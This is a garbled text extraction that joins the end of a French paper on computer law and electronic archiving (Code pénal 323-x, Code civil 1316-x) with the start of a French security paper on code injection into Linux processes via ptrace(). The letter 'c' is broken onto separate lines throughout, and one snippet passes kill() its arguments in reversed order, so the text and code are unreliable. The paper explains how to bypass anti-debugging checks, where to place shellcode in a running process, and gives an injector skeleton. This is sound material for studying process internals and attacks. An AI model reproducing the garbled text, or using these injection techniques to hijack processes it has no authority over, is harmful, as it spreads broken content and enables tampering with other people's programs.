ommandation du Forum des Droits sur l'Internet

23

;

trois 
ritères doivent être 
umulativement réunis par le pro
essus de 
onservation :

20

Sans 
ompter la sour
e d'énergie né
essaire que ne requiert pas l'é
rit traditionnel.

21

On renverra, entre autres, aux travaux du programme Interpares qui vise à déterminer les prin
ipes

ar
hivistiques pertinents à la 
onservation de do
uments éle
troniques authentiques. Il regroupe des

représentants de nombreuses ar
hives nationales. Voir le site http://www.interpares.org.

22

Voir Duranti et al., � Strategy Task for
e Report � in The long term preservation of authenti
 ele
troni


re
ords : �ndings of the Interpares proje
t, 2002, p. 4.

23

http://www.foruminternet.org/tele
hargement/do
uments/re
o-ar
hivage-20051201.pdf
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� la lisibilité du do
ument ;

� la stabilité du 
ontenu informationnel ;

� la traçabilité des opérations sur le do
ument.

La lisibilité désigne la possibilité d'avoir a

ès, au moment de la restitution du do
ument, à l'en-

semble des informations qu'il 
omporte. Cette démar
he est fa
ilitée par les méta-données asso
iées

au do
ument. La stabilité du 
ontenu informationnel désigne la né
essité de pouvoir garantir que

les informations véhi
ulées par le do
ument restent les mêmes depuis l'origine et qu'au
une n'est

omise ou rajoutée au 
ours du pro
essus de 
onservation. Le 
ontenu informationnel s'entend de

l'ensemble des informations, quelle que soit leur nature ou leur origine, issues du do
ument et, le 
as

é
héant, de sa mise en forme. La traçabilité désigne la fa
ulté de présenter et de véri�er l'ensemble

des traitements, opérés sur le do
ument lors du pro
essus de 
onservation.

4 Con
lusion

L'informatique et ses développements modi�ent profondément le paysage de la so
iété. La na-

ture de 
es bouleversements ainsi que l'a

élération de leur rythme font de la 
oopération entre

spé
ialistes du droit et de l'informatique une né
essité qui doit s'ins
rire dans le sou
i des rapports

entre s
ien
e, te
hnologie et so
iété et de l'inter-dis
iplinarité. Les 
onditions de su

ès d'une telle

entreprise passe par l'é
oute mutuelle et la 
ompréhension des positionnements et des valeurs défen-

dues par 
ha
un. Le résultat en serait une régulation juridique mieux 
omprise, mieux appliquée,

mieux interprétée ; une régulation 
apable d'évoluer en tenant 
ompte des a
teurs 
on
ernés. Le

programme est ambitieux, 
'est l'a�aire de tous.

Annexes : textes de lois 
ités

Code pénal

Livre III : Des 
rimes et délits 
ontre les biens

Titre II : Des autres atteintes aux biens

Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

(Arti
les 323-1 à 323-7)

Arti
le 323-1 (Ordonnan
e n

o

2000-916 du 19 septembre 2000 art. 3 Journal O�
iel du 22

septembre 2000 en vigueur le 1er janvier 2002), (Loi n

o

2004-575 du 21 juin 2004 art. 45 I Journal

O�
iel du 22 juin 2004)

Le fait d'a

éder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de trai-

tement automatisé de données est puni de deux ans d'emprisonnement et de 30000 euros d'amende.

Lorsqu'il en est résulté soit la suppression ou la modi�
ation de données 
ontenues dans le système,

soit une altération du fon
tionnement de 
e système, la peine est de trois ans d'emprisonnement et

de 45000 euros d'amende.
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Arti
le 323-2 (Ordonnan
e n

o

2000-916 du 19 septembre 2000 art. 3 Journal O�
iel du 22

septembre 2000 en vigueur le 1er janvier 2002), (Loi n

o

2004-575 du 21 juin 2004 art. 45 II Journal

O�
iel du 22 juin 2004)

Le fait d'entraver ou de fausser le fon
tionnement d'un système de traitement automatisé de

données est puni de 
inq ans d'emprisonnement et de 75000 euros d'amende.

Arti
le 323-3 (Ordonnan
e n

o

2000-916 du 19 septembre 2000 art. 3 Journal O�
iel du 22 sep-

tembre 2000 en vigueur le 1er janvier 2002), (Loi n

o

2004-575 du 21 juin 2004 art. 45 III Journal

O�
iel du 22 juin 2004)

Le fait d'introduire frauduleusement des données dans un système de traitement automatisé

ou de supprimer ou de modi�er frauduleusement les données qu'il 
ontient est puni de 
inq ans

d'emprisonnement et de 75000 euros d'amende.

Arti
le 323-3-1 (inséré par Loi n

o

2004-575 du 21 juin 2004 art. 46 I Journal O�
iel du 22 juin

2004)

Le fait, sans motif légitime, d'importer, de détenir, d'o�rir, de 
éder ou de mettre à disposition

un équipement, un instrument, un programme informatique ou toute donnée 
onçus ou spé
ialement

adaptés pour 
ommettre une ou plusieurs des infra
tions prévues par les arti
les 323-1 à 323-3 est

puni des peines prévues respe
tivement pour l'infra
tion elle-même ou pour l'infra
tion la plus

sévèrement réprimée.

Arti
le 323-4 (Loi n

o

2004-575 du 21 juin 2004 art. 46 II Journal O�
iel du 22 juin 2004)

La parti
ipation à un groupement formé ou à une entente établie en vue de la préparation,


ara
térisée par un ou plusieurs faits matériels, d'une ou de plusieurs des infra
tions prévues par les

arti
les 323-1 à 323-3-1 est punie des peines prévues pour l'infra
tion elle-même ou pour l'infra
tion

la plus sévèrement réprimée.

Arti
le 323-5 Les personnes physiques 
oupables des délits prévus au présent 
hapitre en
ourent

également les peines 
omplémentaires suivantes :

1. L'interdi
tion, pour une durée de 
inq ans au plus, des droits 
iviques, 
ivils et de famille,

suivant les modalités de l'arti
le 131-26 ;

2. L'interdi
tion, pour une durée de 
inq ans au plus, d'exer
er une fon
tion publique ou d'exer-


er l'a
tivité professionnelle ou so
iale dans l'exer
i
e de laquelle ou à l'o

asion de laquelle

l'infra
tion a été 
ommise ;

3. La 
on�s
ation de la 
hose qui a servi ou était destinée à 
ommettre l'infra
tion ou de la 
hose

qui en est le produit, à l'ex
eption des objets sus
eptibles de restitution ;

4. La fermeture, pour une durée de 
inq ans au plus, des établissements ou de l'un ou de plusieurs

des établissements de l'entreprise ayant servi à 
ommettre les faits in
riminés ;

5. L'ex
lusion, pour une durée de 
inq ans au plus, des mar
hés publi
s ;

6. L'interdi
tion, pour une durée de 
inq ans au plus, d'émettre des 
hèques autres que 
eux qui

permettent le retrait de fonds par le tireur auprès du tiré ou 
eux qui sont 
erti�és ;

7. L'a�
hage ou la di�usion de la dé
ision pronon
ée dans les 
onditions prévues par l'arti
le

131-35.
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Arti
le 323-6 Les personnes morales peuvent être dé
larées responsables pénalement, dans les


onditions prévues par l'arti
le 121-2, des infra
tions dé�nies au présent 
hapitre. Les peines en-


ourues par les personnes morales sont :

1. L'amende, suivant les modalités prévues par l'arti
le 131-38 ;

2. Les peines mentionnées à l'arti
le 131-39. L'interdi
tion mentionnée au 2 de l'arti
le 131-39

porte sur l'a
tivité dans l'exer
i
e ou à l'o

asion de l'exer
i
e de laquelle l'infra
tion a été


ommise.

Arti
le 323-7 (Loi n

o

2004-575 du 21 juin 2004 art. 46 II Journal O�
iel du 22 juin 2004)

La tentative des délits prévus par les arti
les 323-1 à 323-3-1 est punie des mêmes peines.

Code 
ivil

Livre III : Des di�érentes manières dont on a
quiert la propriété

Titre III : Des 
ontrats ou des obligations 
onventionnelles en général

Chapitre VI : De la preuve des obligations et de 
elle du paiement (Arti
les 1315 à

1315-1)

Subse
tion 1 : De la preuve littérale

Paragraphe 1 : Dispositions générales (Arti
les 1316 à 1316-4)

Arti
le 1316 (Loi n

o

2000-230 du 13 mars 2000 art. 1 Journal O�
iel du 14 mars 2000)

La preuve littérale, ou preuve par é
rit, résulte d'une suite de lettres, de 
ara
tères, de 
hi�res

ou de tous autres signes ou symboles dotés d'une signi�
ation intelligible, quels que soient leur

support et leurs modalités de transmission.

Arti
le 1316-1 (inséré par Loi n

o

2000-230 du 13 mars 2000 art. 1 Journal O�
iel du 14 mars

2000)

L'é
rit sous forme éle
tronique est admis en preuve au même titre que l'é
rit sur support papier,

sous réserve que puisse être dûment identi�ée la personne dont il émane et qu'il soit établi et 
onservé

dans des 
onditions de nature à en garantir l'intégrité.

Arti
le 1316-2 (inséré par Loi n

o

2000-230 du 13 mars 2000 art. 1 Journal O�
iel du 14 mars

2000)

Lorsque la loi n'a pas �xé d'autres prin
ipes, et à défaut de 
onvention valable entre les par-

ties, le juge règle les 
on�its de preuve littérale en déterminant par tous moyens le titre le plus

vraisemblable, quel qu'en soit le support.

Arti
le 1316-3 (inséré par Loi n

o

2000-230 du 13 mars 2000 art. 3 Journal O�
iel du 14 mars

2000)

L'é
rit sur support éle
tronique a la même for
e probante que l'é
rit sur support papier.
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Arti
le 1316-4 (inséré par Loi n

o

2000-230 du 13 mars 2000 art. 4 Journal O�
iel du 14 mars

2000)

La signature né
essaire à la perfe
tion d'un a
te juridique identi�e 
elui qui l'appose. Elle mani-

feste le 
onsentement des parties aux obligations qui dé
oulent de 
et a
te. Quand elle est apposée

par un o�
ier publi
, elle 
onfère l'authenti
ité à l'a
te. Lorsqu'elle est éle
tronique, elle 
onsiste

en l'usage d'un pro
édé �able d'identi�
ation garantissant son lien ave
 l'a
te auquel elle s'atta
he.

La �abilité de 
e pro
édé est présumée, jusqu'à preuve 
ontraire, lorsque la signature éle
tronique

est 
réée, l'identité du signataire assurée et l'intégrité de l'a
te garantie, dans des 
onditions �xées

par dé
ret en Conseil d'Etat.
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Playing with ptra
e() for fun and pro�t

Inje
tion de 
ode sous Linux

Ni
olas Bareil

EADS CRC DCR/STI/C

Ni
olas.Bareil�eads.net

Résumé ptra
e() est un appel système peu do
umenté et obs
ure dont l'obje
tif est de

permettre le debugging de programmes. Néanmoins, 
et appel système présente des fon
tion-

nalités intéressantes sus
eptibles d'être utilisés à des �ns malveillantes.

Ainsi, un a

ès total en le
ture et é
riture sur toute la mémoire virtuelle d'un pro
essus (ainsi

que ses registres) est fourni pour une appli
ation utilisant ptra
e(). Qui plus est, 
ette prise

de 
ontr�le requiert les mêmes privilèges que l'envoi d'un signal sur un autre pro
essus.

Dans 
ette partie, nous présentons les fon
tionnalités de ptra
e() et leur utilisation, en

abordant les problèmes d'inje
tion de 
ode 
omme le pla
ement des instru
tions dans l'espa
e

d'adressage du pro
essus et l'interruption des appels systèmes. En�n, nous présentons un

panel d'appli
ations de ptra
e().

Nous nous atta
herons à ne dé
rire que le 
omportement d'un noyau Linux (2.6) sur ar
hi-

te
ture x86.

1 Présentation de ptra
e()

Brièvement, ptra
e() permet d'a

éder en le
ture/é
riture à tout l'espa
e d'adressage d'un

pro
essus, 
'est à dire aussi bien les données (.text, .data, et
.) que les stru
tures de 
ontr�le


omme les registres du pro
esseur. Toutes les fon
tionnalités de ptra
e() sont réalisées à partir

d'un appel système unique, tout le travail de dispat
hing est réalisé en espa
e noyau (kernel spa
e).

Dans 
ette se
tion, nous présentons d'abord le fon
tionnement, puis les fon
tionnalités de

ptra
e(). En�n, nous illustrons 
omme l'utiliser dans vos appli
ations.

1.1 Fon
tionnement général

Avant de pouvoir tra
er un pro
essus, il est né
essaire de s'atta
her à lui, les permissions requises

sont les mêmes que 
elles né
essaires à l'envoi d'un signal à un pro
essus, sauf en 
as de modi�
ations

du noyau 
omme 
ela est fait dans le pat
h grse
urity. Cela signi�e qu'il n'est pas né
essaire d'être

root et que tout utilisateur peut ptra
er ses propres pro
essus (si le pro
essus ne tourne pas ave


le bit suid bien sûr). Cette 
ara
téristique peut être intéressante dans le 
adre de daemons lan
és

sous l'utilisateur nobody.

Lors d'un atta
hement, les droits d'a

ès sont véri�és et le tra
eur devient le père du pro
essus

tra
é. Malgré 
ette adoption, le vrai père est mémorisé et re
evra tout de même le signal SIGCHLD

à la mort de son �ls. A�n d'interférer au minimum, les appels à getppid() du �ls renverront le PID

du vrai père. Dans la suite de 
et arti
le, par sou
i de 
ohéren
e ave
 l'implémentation du noyau,

nous désignerons le pro
essus tra
é 
omme l'enfant du tra
eur (qui sera don
 le père).
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Le parent peut laisser s'exé
uter le pro
essus et ne reprendre la main qu'à la ré
eption d'un

signal ou il peut être interrompu à 
haque instru
tion en utilisant le mode pas à pas (singlestep)

ou lors d'un appel système :

� dans le mode de traçage instru
tion par instru
tion, on utilise le bit Trap �ag (TF) dire
te-

ment utilisé par le pro
esseur qui lèvera une interruption de debugging à 
haque instru
tion

exé
utée,

� dans le mode de surveillan
e des appels système, le noyau va lui-même interrompre le pro
essus

à l'entrée et à la sortie d'un sys
all a�n de pouvoir 
ontr�ler les arguments et le résultat de

la fon
tion. Cette fon
tionnalité intervient au 
÷ur de la routine d'a

ès sys
all_entry qui

véri�e immédiatement si le pro
essus 
ourant est tra
é ou non.

Si 
'est le 
as, elle passe la main à la routine sys
all_tra
e_entry qui va s'o

uper de

prévenir le tra
eur, rétablir le pro
essus et en�n exé
uter l'appel système dès que le père aura

rendu la main. Lorsque le sys
all est terminé, la routine sys
all_exit_work va noti�er le

père de la même façon qu'à l'entrée.

Ces routines, é
rites en assembleur, sont disponibles en annexe 3 ou dans les sour
es du noyau

Linux (ar
h/i386/kernel/entry.S).

Portabilité Malgré sa relative omniprésen
e dans les systèmes UNIX, il est naïf de penser qu'on

pourrait faire tourner notre 
ode ailleurs que sur une ma
hine spé
i�que (la notre en général).

ptra
e() est intimement lié au noyau, nous ne sommes don
 pas assuré de pouvoir lan
er une

appli
ation é
rite pour une version (majeure) di�érente du noyau : la mémoire virtuelle vue par un

pro
essus peut avoir été 
omplètement remaniée, les alignements, la taille d'un mot peut 
hanger,

la sémantique de 
ertains signaux modi�ée, et
.

De même, entre di�érentes ar
hite
tures, il est di�
ile d'assurer une quel
onque 
ompatibi-

lité : les registres 
hangent, leurs tailles, la 
apa
ité du pro
esseur a a

édé à des adresses mémoires

non alignées, et
.

1.2 Prototype

Voi
i la dé�nition de la fon
tion :

#in
lude <sys/ptra
e.h>

long ptra
e(enum __ptra
e_request request \

, pid_t pid, void *addr, void *data);

Prototype La variable request peut re
evoir les valeurs suivantes :

� PTRACE_{TRACEME,ATTACH,DETACH}, pour s'atta
her et se déta
her d'un pro
essus,

� PTRACE_PEEK{USR,DATA,TEXT}, le
ture de la mémoire,

� PTRACE_POKE{USR,DATA,TEXT}, é
riture dans la mémoire,

� PTRACE_{SET,GET}REGS, manipulation des registres,

� PTRACE_{SYSCALL,SINGLESTEP,CONT}, mode de traçage ;

Ave
 GNU lib
, ptra
e() a la parti
ularité d'être une fon
tion à arguments variables 
e qui

permet d'é
rire de manière simpli�ée 
ertaines requêtes. Néanmoins, lors de de l'utilisation du

prototype ra

our
ie, le 
omportement n'était pas for
ément 
elui expe
té.

Regardons maintenant les valeurs de request qui ne sont pas do
umentées (lors de l'é
riture de


et arti
le, un pat
h était en 
ours de soumission).
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Manipulation des signaux Les requêtes PTRACE_{GET,SET}SIGINFO permettent respe
tivement

de ré
upérer et modi�er les signaux de l'enfant. La stru
ture siginfo_t donnée en paramètre


ontient de nombreuses informations sur l'émetteur (PID, UID), le numéro de signal ainsi que des

éléments spé
i�ques au signal : SIGSEGV fournit l'adresse qui a généré la faute par exemple.

Un pro
essus tra
é est arrêté à 
haque ré
eption d'un signal (à l'ex
eption de SIGKILL), en fait,

il est interrompu avant même qu'il en prenne 
onnaissan
e puisque 
'est le père qui reprend la main

a�n de pouvoir dé
ider de la suite. Il peut ainsi laisser le signal parvenir au �ls, le bloquer ou en

envoyer un autre à la pla
e.

Cette possibilité o�re un moyen de déte
ter les prote
tions anti-ptra
e() basées sur l'envoi de

signaux SIGTRAP [5℄ 
omme 
ela est illustré 
i-dessous :

int stayalive;

void trap
at
h(int i) {

stayalive = 1;

}

int main(void) {

...

stayalive = 1;

signal(SIGTRAP, trap
at
h);

while (stayalive) {

stayalive = 0;

kill(getpid(), SIGTRAP);

do_the_work();

}

...

}

La � prote
tion � repose sur le fait qu'un debugger basique (ou l'appli
ation du reverser qui

utilise ptra
e()) ne peut pas faire de distin
tion entre le signal SIGTRAP émis par un breakpoint

ou en mode pas à pas et le signal qu'un pro
essus s'envoie à lui-même. Ainsi, si le pro
essus est

tra
é, tous les SIGTRAP seront 
aptés par le père et le �ls ne les re
evra jamais, 
e qui nous fera

sortir de la bou
le dans l'exemple montré.

Le GNU Debugger (gdb) est désormais 
apable de relayer 
es signaux lorsqu'il voit que le

SIGTRAP n'a pas été généré par un point d'arrêt (breakpoint) ou par un appel système. Par 
ontre,

il ne réussit toujours pas à déte
ter le subterfuge lorsqu'il est en mode pas-à-pas.

Il y a pourtant deux te
hniques possibles : si nous sommes en mode singlestep et que le

SIGTRAP est généré à 
ause de lui, le bit BS sera à 1 dans le registre de debug dr6, 0 sinon. À

la ré
eption d'un SIGTRAP , il 
onvient don
 de regarder 
e bit et de véri�er que nous ne sommes

pas sur un point d'arrêt.

La deuxième solution est d'utiliser l'option GETSIGINFO a�n de ré
upérer les informations au

sujet du signal en attente, des dernières sont a

essibles sous la forme d'une stru
ture siginfo.

typedef stru
t siginfo {
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int si_signo; /* numéro de signal */

int si_errno;

int si_
ode; /* provenan
e: user? kernel?*/

...

} siginfo_t;

Les signaux envoyés par des utilisateurs sont remarquables par la valeur SI_USER dans si_
ode,

nous permettant de voir qu'on doit relayer 
e signal 
ar il ne nous est pas destiné.

Options supplémentaires Le 
omportement de pro
essus tra
é peut être modi�é en manipulant

des options de ptra
e(). Elles sont utilisées de 
ette façon :

int options = PTRACE_O_TRACEFORK \

| PTRACE_O_TRACESYSGOOD | ... ;

ptra
e(PTRACE_SETOPTIONS, pid, NULL, options);

Les options de suivi de pro
essus PTRACE_O_TRACE{VFORK,FORK,CLONE,VFORKDONE} permettent

d'a
tiver le traçage de tous les enfants qui seraient 
réés par le pro
essus �ls.

La surveillan
e des appels à fork() du �ls ne su�t pas 
ar elle est vulnérable à une ra
e


ondition, 
'est-à-dire qu'entre le moment où le père exé
ute une instru
tion après le fork() et

l'examen des registres pour ré
upérer le PID du nouveau �ls, nous ne savons pas si le �ls a été

exé
uté par le s
heduler !

Grâ
e aux options pré
édentes, le noyau arrête lui-même les �ls avant même qu'ils ne puissent

être mis en état RUNNABLE. Il est tout de même né
essaire au debugger de s'atta
her à 
es nouveaux

pro
essus.

Ré
upération du PID Après un fork() (ou équivalent : vfork(), 
lone(), et
.), le tra
eur doit

ré
upérer le PID du nouveau �ls. Il est possible de regarder dire
tement la valeur dans le registre

de résultat (eax) du �ls ou bien d'utiliser une requête PTRACE_GETEVENTMSG qui se limite à 
opier

la variable noyau 
hild->ptra
e_message en espa
e utilisateur.

Cette variable n'est modi�ée que dans deux 
as, à la 
réation et à la destru
tion d'un pro
essus

tra
é, respe
tivement pour y a�e
ter le nouveau PID ou le 
ode de retour (exit 
ode).

L'interruption d'un appel système nous intéressera plus parti
ulièrement dans la se
tion suivante

mais l'option PTRACE_O_TRACESYSGOOD nous aidera à déte
ter 
et état 
ar le membre si_
ode

de la stru
ture siginfo_t (ré
upérable via une requête PTRACE_GETSIGINFO) aura la valeur 0x80

d'ajoutée.

A

ès à l'espa
e d'adressage Cette fon
tionnalité est bien 
onnue don
 nous ne nous y atta
he-

rons pas. Il est ainsi possible de lire et é
rire dans tout l'espa
e d'adressage du pro
essus de 
ette

façon :

/* le
ture d'un mot depuis targetaddr */

errno = 0;

ret = ptra
e(PTRACE_PEEKTEXT, pid, targetaddr, NULL);
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if (errno && ret == -1) {

perror("ptra
e_peektext() ");

return 1;

}

Sous Linux, le segment TEXT et DATA sont les mêmes don
 PTRACE_PEEKTEXT et PTRACE_PEEKDATA

sont synonymes.

Lorsque le père a la main sur le pro
essus tra
é, le �ls est en état STOPPED après un 
hangement

de 
ontexte, toutes ses informations volatiles (
omme les registres) sont poussées dans l'espa
e

d'adressage du pro
essus et sont a

essibles dire
tement par des requêtes PEEKUSR.

Le tableau 1, en annexe 1 présente les adresses pour a

éder aux registres ave
 les options

PTRACE_PEEKUSR et PTRACE_POKEUSR.

Néanmoins, la méthode la plus élégante reste d'utiliser ptra
e() ave
 PTRACE_GETREGS qui va


opier beau
oup plus qu'un unique mot mémoire.

Le
ture et modi�
ation des registres pro
esseur En plus de 
opier tous les registres d'un


oup, ils vont être rangé dans une stru
ture user dé
rite 
i-dessous et disponible dans linux/user.h :

stru
t user {

stru
t user_regs_stru
t regs;

stru
t user_i387_stru
t i387; /* Math register */

... /* Text, data and sta
k segment size (pages) */

unsigned long start_
ode; /* text's address */

unsigned long start_sta
k; /* sta
k's address */

...

stru
t user_i387_stru
t* u_fpstate;


har u_
omm[32℄; /* user 
ommand */

int u_debugreg[8℄;

};

stru
t user_regs_stru
t {

long ebx, e
x, edx, esi, edi, ebp, eax;

unsigned short ds, __ds, es, __es;

unsigned short fs, __fs, gs, __gs;

long orig_eax, eip;

unsigned short 
s, __
s;

long eflags, esp;

unsigned short ss, __ss;

};

L'exemple suivant montre un debugger simpliste, il tra
e le pro
essus en mode pas à pas et à


haque 
y
le, véri�e que le registre eip ne pointe pas sur l'adresse 0x41414141.

stru
t user luser;

long ret;

...

while (1) {
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ptra
e(PTRACE_SINGLESTEP, 
hild, NULL, NULL);

...

errno = 0;

ret = ptra
e(PTRACE_GETREGS, 
hild, NULL, &regs);

if (ret == -1 && errno != 0) {

perror("ptra
e(getregs) ");

return 1;

}

if (luser.regs.eip == 0x41414141)

printf("Bingo!\n");

}

Maintenant que nous avons vu les bases de ptra
e(), nous allons pouvoir montrer 
omment

l'utiliser.

1.3 Utilisation de ptra
e() dans vos appli
ations

Lorsque vous allez vous plonger dans l'é
riture d'un tra
eur, vous allez vite vous rendre 
ompte

que la do
umentation est pauvre, la seule do
umentation autoritaire reste la page de manuel et. . . les

sour
es du noyau. Pourtant, tout 
e qu'il y a à savoir est é
rit mais retrouver l'information noyée

dans une masse de détail est di�
ile.

Par exemple, la véri�
ation du 
ode de retour de ptra
e() peut vous jouer des tours lorsque vous

utilisez PTRACE_POKETEXT. La fon
tion vous renvoi le 
ontenu de la mémoire à l'adresse spé
i�ée,

mais 
e 
ontenu peut être égale à la valeur valide -1, valeur qui est en général asso
iée à un é
he


de l'appel système. La solution 
orre
te est de véri�er la variable errno de 
ette façon :

#in
lude <errno.h>

#in
lude <sys/ptra
e.h>

errno = 0;

ret = ptra
e(PTRACE_POKETEXT, pid, ...);

if (errno && ret == -1) {

perror("ptra
e_poketext() ");

return 1;

}

Il est temps d'utiliser la fon
tion ! S'amuser à programmer son propre debugger, 
'est bien,

inje
ter du 
ode (
'est-à-dire détourner le �ux d'instru
tions d'un pro
essus pour lui faire exé
uter

un autre) dans un pro
essus, 
'est en
ore mieux. L'inje
tion de 
ode via ptra
e() peut se réaliser

par beau
oup de 
hemins en fon
tion de nos besoins : est-
e qu'on rempla
e le 
ode existant ? Est-
e

qu'on doit exé
uter nos instru
tions puis rétablir le pro
essus 
omme si rien ne s'était passé ? Doit-on

faire tourner le 
ode en parallèle ? La se
tion suivante tente de dis
uter de 
es problématiques.
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Où pla
er les instru
tions à exé
uter ? A�n d'être exé
uté, le 
ode inje
té (que nous appelle-

rons shell
ode ) doit être présent dans la mémoire du pro
essus vi
time, mais où ? Si nous tenons

à être le plus dis
ret, au
une modi�
ation de variable ou e�et de bord ne doit avoir lieu. Étudions

maintenant les endroits où é
rire le 
ode :

La pile est un milieu pratique puisque de la même manière qu'un appel de fon
tion (au sens

assembleur), un espa
e peut être réservé en 
réant une sta
k frame spé
i�que. Une fois le shell-


ode exé
uté, on dé
rémente le pointeur de pile 
orre
tement et le 
ode disparaît.

Cette te
hnique est intéressante mais ne fon
tionnera pas sur les systèmes rendant la pile non-

éxe
utable (
omme PaX ou exe
s
hield). La �gure 1 s
hématise la mémoire du pro
essus en pré
i-

sant où pointe eip et le haut de la pile (esp). À 
e moment, nous nous atta
hons à 
e pro
essus,

dé
rémentons nous même la pile et y inje
tons notre 
ode.

mov ebx, 1

add eax, 4

cmp eax, 42

esp

eip

Fig. 1. Avant l'inje
tion

add eax, 4

cmp eax, 42

Code injecté

esp

eip

ret

...

...

mov ebx, 1

Fig. 2. Après inje
tion

Entre 
es deux 
li
hés, le �ls n'a pas eu la main, seul le père a fait 
es manipulations. Avant de

rendre la main au �ls, il faut détourner le �ux, 
'est-à-dire pointer le registre eip vers le haut de la

pile, pour exé
uter le 
ode inje
té. Celui-
i va être é
rit 
omme une fon
tion. Ainsi, à l'entrée du

shell
ode, eip aura été préalablement poussé. Lorsque le shell
ode sera terminé, l'instru
tion ret

ramènera le �ot d'exé
ution à l'endroit originale.

Notre 
ode doit don
 se présenter 
omme une 
lassique fon
tion assembleur :

push ebp

mov ebp, esp

; pusha?

; ...
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; payload

; ...

; popa?

mov esp, ebp

pop ebp

ret

L'appel vers la pile va être réalisé en simulant un 
all esp. On ne peut que simuler 
et appel

de fon
tion en modi�ant nous même eip et esp puisqu'où est-
e qu'on pourrait inje
ter les deux

o
tets de l'instru
tion 
all ? É
rire à l'adresse pointée par eip détruirait le 
ontexte du pro
essus

qui ne pourrait plus 
ontinuer normalement. De même, si on inje
te à l'adresse eip - 2, il y a de

fort risque d'é
raser une instru
tion faisant partie d'une bou
le.

L'instru
tion 
all esp pousse sur la pile la valeur d'eip et é
rase 
e registre par la valeur i
i


ontenue dans esp. En utilisant deux instru
tions ptra
e()(l'une simulant l'empilement d'eip et

l'autre pour modi�er eip et esp), nous pouvons arriver à 
e résultat 
omme le montre la �gure 3.

add eax, 4

cmp eax, 42

Code injecté

ret

...

...

mov ebx, 1

eip

old eip

Fig. 3. Inje
tion terminée

Le format d'exé
utable ELF[2℄ utilise des se
tions qui, lorsqu'elles sont mappées en mémoire

sont alignées ave
 la taille d'une page mémoire, entraînant alors du padding (bourrage). Milieu

plus intéressant que la pile 
ar s'il y a du padding pour la se
tion TEXT (là où sont sto
kées les

instru
tions), 
et espa
e mémoire est bien sûr dé
laré ave
 les droits d'exé
ution.

Cette te
hnique peut également permettre de 
ontourner des appli
ations qui véri�eraient l'in-

tégrité de leur 
ode sans pour autant véri�er les données 
ontenues dans le padding.
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La méthode brutale 
onsiste à é
rire notre 
ode à l'adresse pointée par eip, exé
uter notre 
ode

en 
ontinuant le pro
essus et à la �n de l'exé
ution de notre 
ode, restaurer tout 
e qui doit l'être.

Cette solution a le mérite d'être la plus furtive puisque notre 
ode n'apparaîtra jamais pendant

l'exé
ution des instru
tions originales. Toutefois, la phase de restauration est la plus problématique

puisqu'il faut déte
ter la �n de notre 
ode ! L'inje
teur peut soit faire du pas à pas et repérer la

dernière instru
tion, soit faire 
ontinuer (PTRACE_CONT) le 
ode et attendre que le 
ode réveille

l'inje
teur.

L'inje
teur peut être réveillé par la livraison d'un signal SIGTRAP au pro
essus lui-même, donnant

ainsi la main au père qui pourra re
ouvrir ses tra
es.

/* papa, réveille toi et nettoie moi ! */

kill(SIGTRAP, getpid());

Interruption d'appel système Il peut être né
essaire d'aider le �ls à reprendre la main, en

parti
ulier si le 
ode a été inje
té pendant un appel système (par exemple read, write, wait, et
.).

Sur ar
hite
ture x86, à l'entrée d'un appel système, le noyau pousse eax sur la pile

1

(eax


ontenant le numéro de sys
all demandé). Ensuite, l'appel système est exé
uté et à sa �n, met sa

valeur de retour dans 
e même registre eax.

Les appels systèmes 
onsidérés lents sont interruptibles, à la ré
eption d'un signal, le noyau

va arrêter l'appel système pour exé
uter le handler. Puis, après traitement du signal, deux 
as

possibles :

� L'appel système est automatiquement redémarré,

� Le redémarrage doit être manuel (le 
ode de retour de l'appel système é
houe ave
 errno égal

à EINT ;

Pour le redémarrage automatique, le noyau rétablit eax en utilisant sa 
opie lo
ale 
ontenue dans

la pile, notre fameux orig_eax, puis dé
rémente eip de deux o
tets, soit la taille de l'instru
tion

int 0x80.

Pour déte
ter l'interruption d'un appel système, nous allons mimer le noyau Linux et regarder

nos registres : eax doit valoir -1 et orig_eax doit 
ontenir un numéro d'appel système 
orre
t.

Une deuxième méthode, qui a le mérite d'être portable sur toutes les ar
hite
tures, est d'utiliser

l'option PTRACE_O_SYSGOODqui va ajouter 0x80 à si_
ode a

essible via une requête PTRACE_GETSIGINFO.

/* au début du debugging, on donne l'option */

ptra
e(PTRACE_SETOPTIONS, pid

, NULL, PTRACE_O_TRACESYSGOOD);

...

/* puis lorsqu'on a interrompu le fils, on

* vérifie qu'on n'était pas dans un sys
all

*/

siginfo_t sig;

ptra
e(PTRACE_GETSIGINFO, pid, NULL, &sig);

if (sig.si_
ode & 0x80)

printf("was in a sys
all\n");

1

Cette valeur sur la pile représente le registre virtuel orig_eax
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L'interruption d'un appel système pose problème lors de l'inje
tion de 
ode, 
ar le noyau va

essayer de redémarrer le sys
all en soustrayant deux o
tets à eip lors de la reprise du pro
essus,

votre shell
ode devra don
 
ommen
er par deux o
tets d'instru
tions inertes 
omme NOP. eip sera

réglé de façon à exé
uter shell
ode+2 (après les NOPs), si le pro
essus était dans un appel système,

le noyau fera la soustra
tion et 
ommen
era par exé
uter les NOP puis votre 
ode.

Con
lusion Nous avons terminé de présenter ptra
e() (réponse à la question � 
omment s'en

servir ? �), la se
tion suivante va s'intéresser aux appli
ations 
on
rètes.

2 Appli
ation pratique

2.1 A
tions légitimes

Nettoyer sa table de pro
essus Un pro
essus terminé doit être � 
on�rmé � par son père, en

d'autre terme, il faut que le parent fasse un wait() pour prendre 
onnaissan
e de la mort de son

�ls.

Si 
e n'est pas fait, le �ls est pla
é en état zombie et reste dans la table des pro
essus. Pour


ommen
er fa
ilement ave
 ptra
e() nous allons inje
ter dans le père un appel à wait() en utilisant

la méthode brutale : on va é
rire les o
tets pointés par eip. Le 
ode inje
té est résumable en deux

lignes :

waitpid(-1, 0, WNOHANG);

/* pour réveiller l'inje
teur */

kill(SIGTRAP, getpid());

L'inje
teur se résume aux lignes suivantes :

int status;

stru
t user luser;

unsigned 
har olddata[LENSHELLCODE℄;

ptra
e(PTRACE_ATTACH, pid, NULL, 0);

wait(&status);

ptra
e(PTRACE_GETREGS, pid, NULL, &luser);

/* ré
upére les données pointées par %eip et les

* sauvegarde avant de les é
raser par notre shell
ode

*/

inje
ter
ode(luser.regs.eip, olddata);

ptra
e(PTRACE_CONT, pid, NULL, 0);

wait(&status);

restauration(luser.regs.eip, olddata, LENSHELLCODE)

ptra
e(PTRACE_DETACH, pid, NULL, 0);
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Plus fréquent, vous avez lan
é une appli
ation qui va tourner longtemps (un transfert de �
hier,

un long 
al
ul, et
